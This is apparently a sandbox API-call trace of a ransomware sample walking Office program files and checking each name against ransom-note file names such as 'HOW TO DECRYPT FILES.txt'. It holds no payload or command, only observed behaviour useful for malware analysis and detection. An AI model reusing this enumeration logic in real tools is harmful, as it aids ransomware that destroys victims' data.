lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.351] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.352] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ebd7300, ftCreationTime.dwHighDateTime=0x1cba5c3, ftLastAccessTime.dwLowDateTime=0xcef710e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3ebd7300, ftLastWriteTime.dwHighDateTime=0x1cba5c3, nFileSizeHigh=0x0, nFileSizeLow=0x21d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_PDF.DLL", cAlternateFileName="")) returned 1 [0058.352] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.352] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="EXP_PDF.DLL") returned -1 [0058.352] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="EXP_PDF.DLL") returned 1 [0058.352] lstrcmpiA (lpString1="", lpString2="EXP_PDF.DLL") returned -1 [0058.352] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned="EXPSRV.DLL" [0058.352] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.352] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.352] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5bf6900, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xcf5b0aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5bf6900, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x11578, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXP_XPS.DLL", cAlternateFileName="")) returned 1 [0058.352] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.352] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="EXP_XPS.DLL") returned -1 [0058.352] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="EXP_XPS.DLL") returned 1 [0058.352] lstrcmpiA (lpString1="", lpString2="EXP_XPS.DLL") returned -1 [0058.352] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_PDF.DLL") returned="EXP_PDF.DLL" [0058.352] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.352] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.352] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd66e7600, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xe572de20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd66e7600, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x26560, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLTLDR.EXE", cAlternateFileName="")) returned 1 [0058.352] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.352] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FLTLDR.EXE") returned -1 [0058.353] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FLTLDR.EXE") returned 1 [0058.353] lstrcmpiA (lpString1="", lpString2="FLTLDR.EXE") returned -1 [0058.353] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned="EXP_XPS.DLL" [0058.353] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.353] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.353] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7bf3f00, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x53907610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7bf3f00, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x417360, dwReserved0=0x0, dwReserved1=0x0, cFileName="IACOM2.DLL", cAlternateFileName="")) returned 1 [0058.353] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.353] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="IACOM2.DLL") returned -1 [0058.353] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="IACOM2.DLL") returned -1 [0058.353] lstrcmpiA (lpString1="", lpString2="IACOM2.DLL") returned -1 [0058.353] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned="FLTLDR.EXE" [0058.353] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.353] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.353] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x31d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICLUA.EXE", cAlternateFileName="")) returned 1 [0058.353] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.353] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="LICLUA.EXE") returned -1 [0058.353] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="LICLUA.EXE") returned -1 [0058.353] lstrcmpiA (lpString1="", lpString2="LICLUA.EXE") returned -1 [0058.353] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned="IACOM2.DLL" [0058.353] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.353] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.354] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc821f600, ftCreationTime.dwHighDateTime=0x1cbdfb3, ftLastAccessTime.dwLowDateTime=0xd776b9a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc821f600, ftLastWriteTime.dwHighDateTime=0x1cbdfb3, nFileSizeHigh=0x0, nFileSizeLow=0x183d780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.DLL", cAlternateFileName="")) returned 1 [0058.354] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.354] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSO.DLL") returned -1 [0058.354] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSO.DLL") returned -1 [0058.354] lstrcmpiA (lpString1="", lpString2="MSO.DLL") returned -1 [0058.354] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\LICLUA.EXE") returned="LICLUA.EXE" [0058.354] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.354] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.354] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee94c400, ftCreationTime.dwHighDateTime=0x1cb7007, ftLastAccessTime.dwLowDateTime=0xd6225500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xee94c400, ftLastWriteTime.dwHighDateTime=0x1cb7007, nFileSizeHigh=0x0, nFileSizeLow=0x73b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOICONS.EXE", cAlternateFileName="")) returned 1 [0058.354] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.354] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSOICONS.EXE") returned -1 [0058.354] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSOICONS.EXE") returned -1 [0058.354] lstrcmpiA (lpString1="", lpString2="MSOICONS.EXE") returned -1 [0058.354] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned="MSO.DLL" [0058.354] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.354] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.355] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xec32f3e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x4529780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSORES.DLL", cAlternateFileName="")) returned 1 [0058.355] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.355] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSORES.DLL") returned -1 [0058.355] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSORES.DLL") returned -1 [0058.355] lstrcmpiA (lpString1="", lpString2="MSORES.DLL") returned -1 [0058.355] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned="MSOICONS.EXE" [0058.355] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.355] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.355] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4293d00, ftCreationTime.dwHighDateTime=0x1cbc468, ftLastAccessTime.dwLowDateTime=0xd77dddc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa4293d00, ftLastWriteTime.dwHighDateTime=0x1cbc468, nFileSizeHigh=0x0, nFileSizeLow=0x135f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoshext.dll", cAlternateFileName="")) returned 1 [0058.355] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.355] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="msoshext.dll") returned -1 [0058.355] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="msoshext.dll") returned -1 [0058.355] lstrcmpiA (lpString1="", lpString2="msoshext.dll") returned -1 [0058.355] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned="MSORES.DLL" [0058.355] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.355] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.355] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc276d800, ftCreationTime.dwHighDateTime=0x1cab8aa, ftLastAccessTime.dwLowDateTime=0x6a050eb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc276d800, ftLastWriteTime.dwHighDateTime=0x1cab8aa, nFileSizeHigh=0x0, nFileSizeLow=0xdb50, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXEV.DLL", cAlternateFileName="")) returned 1 [0058.356] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.356] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSOXEV.DLL") returned -1 [0058.356] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSOXEV.DLL") returned -1 [0058.356] lstrcmpiA (lpString1="", lpString2="MSOXEV.DLL") returned -1 [0058.356] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\msoshext.dll") returned="msoshext.dll" [0058.356] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.356] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.356] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x1d950, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLED.EXE", cAlternateFileName="")) returned 1 [0058.356] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.356] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSOXMLED.EXE") returned -1 [0058.356] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSOXMLED.EXE") returned -1 [0058.356] lstrcmpiA (lpString1="", lpString2="MSOXMLED.EXE") returned -1 [0058.356] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXEV.DLL") returned="MSOXEV.DLL" [0058.356] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.356] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.358] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0xdb80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOXMLMF.DLL", cAlternateFileName="")) returned 1 [0058.358] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.358] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSOXMLMF.DLL") returned -1 [0058.358] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSOXMLMF.DLL") returned -1 [0058.358] lstrcmpiA (lpString1="", lpString2="MSOXMLMF.DLL") returned -1 [0058.358] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLED.EXE") returned="MSOXMLED.EXE" [0058.358] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.358] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.358] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3922200, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3922200, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x124980, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSPTLS.DLL", cAlternateFileName="")) returned 1 [0058.358] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.358] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSPTLS.DLL") returned -1 [0058.358] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSPTLS.DLL") returned -1 [0058.358] lstrcmpiA (lpString1="", lpString2="MSPTLS.DLL") returned -1 [0058.358] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOXMLMF.DLL") returned="MSOXMLMF.DLL" [0058.358] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.358] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.359] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xac370, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSOAP30.DLL", cAlternateFileName="")) returned 1 [0058.359] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.359] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSSOAP30.DLL") returned -1 [0058.359] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSSOAP30.DLL") returned -1 [0058.359] lstrcmpiA (lpString1="", lpString2="MSSOAP30.DLL") returned -1 [0058.359] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSPTLS.DLL") returned="MSPTLS.DLL" [0058.359] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.359] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.359] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x1a5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUAUTH.CAB", cAlternateFileName="")) returned 1 [0058.359] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.359] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MUAUTH.CAB") returned -1 [0058.359] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MUAUTH.CAB") returned -1 [0058.359] lstrcmpiA (lpString1="", lpString2="MUAUTH.CAB") returned -1 [0058.359] PathFindFileNameA (pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned="MSSOAP30.DLL" [0058.359] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" [0058.359] PathAddBackslashA (in: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\" | out: pszPath="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\") returned="" [0058.359] FindNextFileA (in: hFindFile=0x4f8118, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x6190, dwReserved0=0x0, dwReserved1=0x0, cFileName="MUOPTIN.DLL", cAlternateFileName="")) returned 1 [0058.359] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0058.360] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MUOPTIN.DLL") returned -1 [0058.360] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MUOPTIN.DLL") returned -1 [0058.360] lstrcmpiA (lpString1="", lpString2="MUOPTIN.DLL") returned -1 [0058.360] 